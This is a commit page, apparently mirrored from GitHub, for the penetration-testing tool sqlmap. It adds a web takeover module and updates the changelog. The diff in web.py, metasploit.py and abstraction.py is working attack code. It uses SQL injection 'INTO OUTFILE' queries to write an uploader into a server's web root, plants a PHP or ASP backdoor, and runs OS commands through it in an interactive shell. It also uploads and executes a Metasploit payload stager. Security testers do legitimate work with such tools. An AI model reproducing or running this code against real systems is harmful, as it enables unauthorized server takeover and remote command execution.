Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 070ccc3

Browse files
committed
Added automatic support in --os-pwn to use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP.
Updated ChangeLog. Major code refactoring.
1 parent 1febdca commit 070ccc3

5 files changed

Lines changed: 276 additions & 189 deletions

File tree

doc/ChangeLog

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,11 @@ sqlmap (0.8-1) stable; urgency=low
77
* Added support to parse -C (column name(s)) when fetching
88
columns of a table with --columns: it will enumerate only columns like
99
the provided one(s) within the specified table (Bernardo).
10+
* Added support for takeover features on PostgreSQL 8.4 (Bernardo).
11+
* Added automatic support in --os-pwn to use the web uploader/backdoor
12+
to upload and execute the Metasploit payload stager when stacked
13+
queries SQL injection is not supported, for instance on MySQL/PHP and
14+
MySQL/ASP (Bernardo).
1015
* Added support to automatically decode deflate, gzip and x-gzip HTTP
1116
responses (Miroslav).
1217
* Support for NTLM authentication via python-ntlm third party library,
@@ -27,6 +32,9 @@ sqlmap (0.8-1) stable; urgency=low
2732
* Fixed URL encoding/decoding of GET/POST parameters and Cookies
2833
(Miroslav).
2934
* Major bugs fixed (Bernardo and Miroslav).
35+
* Cleanup of UDF source code repository,
36+
https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack (Bernardo
37+
and Miroslav).
3038
* Minor code cleanup (Miroslav).
3139

3240
-- Bernardo Damele A. G. <[email protected]> Mon, 1 Mar 2010 10:00:00 +0000

lib/takeover/abstraction.py

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -30,9 +30,10 @@
3030
from lib.core.exception import sqlmapUnsupportedFeatureException
3131
from lib.core.shell import autoCompletion
3232
from lib.takeover.udf import UDF
33+
from lib.takeover.web import Web
3334
from lib.takeover.xp_cmdshell import xp_cmdshell
3435

35-
class Abstraction(UDF, xp_cmdshell):
36+
class Abstraction(Web, UDF, xp_cmdshell):
3637
"""
3738
This class defines an abstraction layer for OS takeover functionalities
3839
to UDF / xp_cmdshell objects
@@ -42,6 +43,7 @@ def __init__(self):
4243
self.envInitialized = False
4344

4445
UDF.__init__(self)
46+
Web.__init__(self)
4547
xp_cmdshell.__init__(self)
4648

4749
def __cmdShellCleanup(self):
@@ -57,7 +59,10 @@ def __cmdShellCleanup(self):
5759
raise sqlmapUnsupportedFeatureException, errMsg
5860

5961
def execCmd(self, cmd, silent=False, forgeCmd=False):
60-
if kb.dbms in ( "MySQL", "PostgreSQL" ):
62+
if self.webBackdoorUrl and not kb.stackedTest:
63+
self.webBackdoorRunCmd(cmd, silent=True)
64+
65+
elif kb.dbms in ( "MySQL", "PostgreSQL" ):
6166
self.udfExecCmd(cmd, silent=silent)
6267

6368
elif kb.dbms == "Microsoft SQL Server":

lib/takeover/metasploit.py

Lines changed: 13 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -425,10 +425,10 @@ def __runMsfPayloadRemote(self):
425425

426426
cmd = "%s &" % self.exeFilePathRemote
427427

428-
if self.cmdFromChurrasco:
428+
if self.cmdFromChurrasco and kb.stackedTest:
429429
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
430430

431-
if kb.dbms == "Microsoft SQL Server":
431+
if kb.dbms == "Microsoft SQL Server" and kb.stackedTest:
432432
cmd = self.xpCmdshellForgeCmd(cmd)
433433

434434
self.execCmd(cmd, silent=True)
@@ -634,11 +634,19 @@ def createMsfPayloadStager(self, initialize=True):
634634
errMsg = "failed to create the payload stager (%s)" % payloadStderr
635635
raise sqlmapFilePathException, errMsg
636636

637-
def uploadMsfPayloadStager(self):
638-
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
637+
def uploadMsfPayloadStager(self, web=False):
638+
if web:
639+
self.exeFilePathRemote = "./%s" % os.path.basename(self.exeFilePathLocal)
640+
else:
641+
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
639642

640643
logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)
641-
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
644+
645+
if web:
646+
for directory in self.webDirectories:
647+
self.webFileUpload(self.exeFilePathLocal, self.exeFilePathRemote, directory)
648+
else:
649+
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
642650

643651
os.unlink(self.exeFilePathLocal)
644652

lib/takeover/web.py

Lines changed: 229 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,229 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
$Id$
5+
6+
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
7+
8+
Copyright (c) 2007-2009 Bernardo Damele A. G. <[email protected]>
9+
Copyright (c) 2006 Daniele Bellucci <[email protected]>
10+
11+
sqlmap is free software; you can redistribute it and/or modify it under
12+
the terms of the GNU General Public License as published by the Free
13+
Software Foundation version 2 of the License.
14+
15+
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
16+
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
17+
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
18+
details.
19+
20+
You should have received a copy of the GNU General Public License along
21+
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
22+
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
23+
"""
24+
25+
import os
26+
import re
27+
28+
from lib.core.agent import agent
29+
from lib.core.common import fileToStr
30+
from lib.core.common import getDirs
31+
from lib.core.common import getDocRoot
32+
from lib.core.common import readInput
33+
from lib.core.convert import hexencode
34+
from lib.core.data import conf
35+
from lib.core.data import kb
36+
from lib.core.data import logger
37+
from lib.core.data import paths
38+
from lib.core.exception import sqlmapUnsupportedDBMSException
39+
from lib.core.shell import autoCompletion
40+
from lib.request.connect import Connect as Request
41+
42+
43+
class Web:
44+
"""
45+
This class defines web-oriented OS takeover functionalities for
46+
plugins.
47+
"""
48+
49+
def __init__(self):
50+
self.webApi = None
51+
self.webBaseUrl = None
52+
self.webBackdoorUrl = None
53+
self.webUploaderUrl = None
54+
self.webDirectories = set()
55+
56+
def webBackdoorRunCmd(self, cmd, silent=False):
57+
if self.webBackdoorUrl is None:
58+
return
59+
60+
output = None
61+
62+
if not cmd:
63+
cmd = conf.osCmd
64+
65+
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
66+
page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)
67+
68+
if page is not None:
69+
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
70+
71+
if not silent:
72+
if output:
73+
print output.group(1)
74+
else:
75+
print "No output"
76+
77+
return output
78+
79+
def webBackdoorShell(self):
80+
if self.webBackdoorUrl is None:
81+
return
82+
83+
infoMsg = "calling OS shell. To quit type "
84+
infoMsg += "'x' or 'q' and press ENTER"
85+
logger.info(infoMsg)
86+
87+
autoCompletion(osShell=True)
88+
89+
while True:
90+
command = None
91+
92+
try:
93+
command = raw_input("os-shell> ")
94+
except KeyboardInterrupt:
95+
print
96+
errMsg = "user aborted"
97+
logger.error(errMsg)
98+
except EOFError:
99+
print
100+
errMsg = "exit"
101+
logger.error(errMsg)
102+
break
103+
104+
if not command:
105+
continue
106+
107+
if command.lower() in ( "x", "q", "exit", "quit" ):
108+
break
109+
110+
self.webBackdoorRunCmd(command)
111+
112+
def webFileUpload(self, fileToUpload, destFileName, directory):
113+
if self.webApi == "php":
114+
multipartParams = {
115+
"upload": "1",
116+
"file": open(fileToUpload, "r"),
117+
"uploadDir": directory,
118+
}
119+
page = Request.getPage(url=self.webUploaderUrl, multipart=multipartParams)
120+
121+
if "Backdoor uploaded" not in page:
122+
warnMsg = "unable to upload the backdoor through "
123+
warnMsg += "the uploader agent on '%s'" % directory
124+
logger.warn(warnMsg)
125+
126+
elif self.webApi == "asp":
127+
backdoorRemotePath = "%s/%s" % (directory, destFileName)
128+
backdoorRemotePath = os.path.normpath(backdoorRemotePath)
129+
backdoorContent = open(fileToUpload, "r").read()
130+
postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
131+
page, _ = Request.getPage(url=self.webUploaderUrl, direct=True, post=postStr)
132+
133+
if "permission denied" in page.lower():
134+
warnMsg = "unable to upload the backdoor through "
135+
warnMsg += "the uploader agent on '%s'" % directory
136+
logger.warn(warnMsg)
137+
138+
elif self.webApi == "jsp":
139+
pass
140+
141+
def webInit(self):
142+
"""
143+
This method is used to write a web backdoor (agent) on a writable
144+
remote directory within the web server document root.
145+
"""
146+
147+
if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None:
148+
return
149+
150+
self.checkDbmsOs()
151+
152+
kb.docRoot = getDocRoot()
153+
self.webDirectories = getDirs()
154+
self.webDirectories = list(self.webDirectories)
155+
self.webDirectories.sort()
156+
157+
infoMsg = "trying to upload the uploader agent"
158+
logger.info(infoMsg)
159+
160+
message = "which web application language does the web server "
161+
message += "support?\n"
162+
message += "[1] ASP\n"
163+
message += "[2] PHP (default)\n"
164+
message += "[3] JSP"
165+
166+
while True:
167+
choice = readInput(message, default="2")
168+
169+
if not choice or choice == "2":
170+
self.webApi = "php"
171+
break
172+
173+
elif choice == "1":
174+
self.webApi = "asp"
175+
break
176+
177+
elif choice == "3":
178+
errMsg = "JSP web backdoor functionality is not yet "
179+
errMsg += "implemented"
180+
raise sqlmapUnsupportedDBMSException(errMsg)
181+
182+
elif not choice.isdigit():
183+
logger.warn("invalid value, only digits are allowed")
184+
185+
elif int(choice) < 1 or int(choice) > 3:
186+
logger.warn("invalid value, it must be 1 or 3")
187+
188+
backdoorName = "backdoor.%s" % self.webApi
189+
backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName)
190+
uploaderName = "uploader.%s" % self.webApi
191+
uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName))
192+
193+
for directory in self.webDirectories:
194+
# Upload the uploader agent
195+
outFile = os.path.normpath("%s/%s" % (directory, uploaderName))
196+
uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
197+
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
198+
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
199+
query = agent.prefixQuery(" %s" % query)
200+
query = agent.postfixQuery(query)
201+
payload = agent.payload(newValue=query)
202+
page = Request.queryPage(payload)
203+
204+
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
205+
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
206+
self.webUploaderUrl = "%s/%s" % (self.webBaseUrl, uploaderName)
207+
self.webUploaderUrl = self.webUploaderUrl.replace("./", "/").replace("\\", "/")
208+
uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True)
209+
210+
if "sqlmap backdoor uploader" not in uplPage:
211+
warnMsg = "unable to upload the uploader "
212+
warnMsg += "agent on '%s'" % directory
213+
logger.warn(warnMsg)
214+
215+
continue
216+
217+
infoMsg = "the uploader agent has been successfully uploaded "
218+
infoMsg += "on '%s'" % directory
219+
logger.info(infoMsg)
220+
221+
self.webFileUpload(backdoorPath, backdoorName, directory)
222+
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
223+
224+
infoMsg = "the backdoor has probably been successfully "
225+
infoMsg += "uploaded on '%s', go with your browser " % directory
226+
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
227+
logger.info(infoMsg)
228+
229+
break

0 commit comments

Comments
 (0)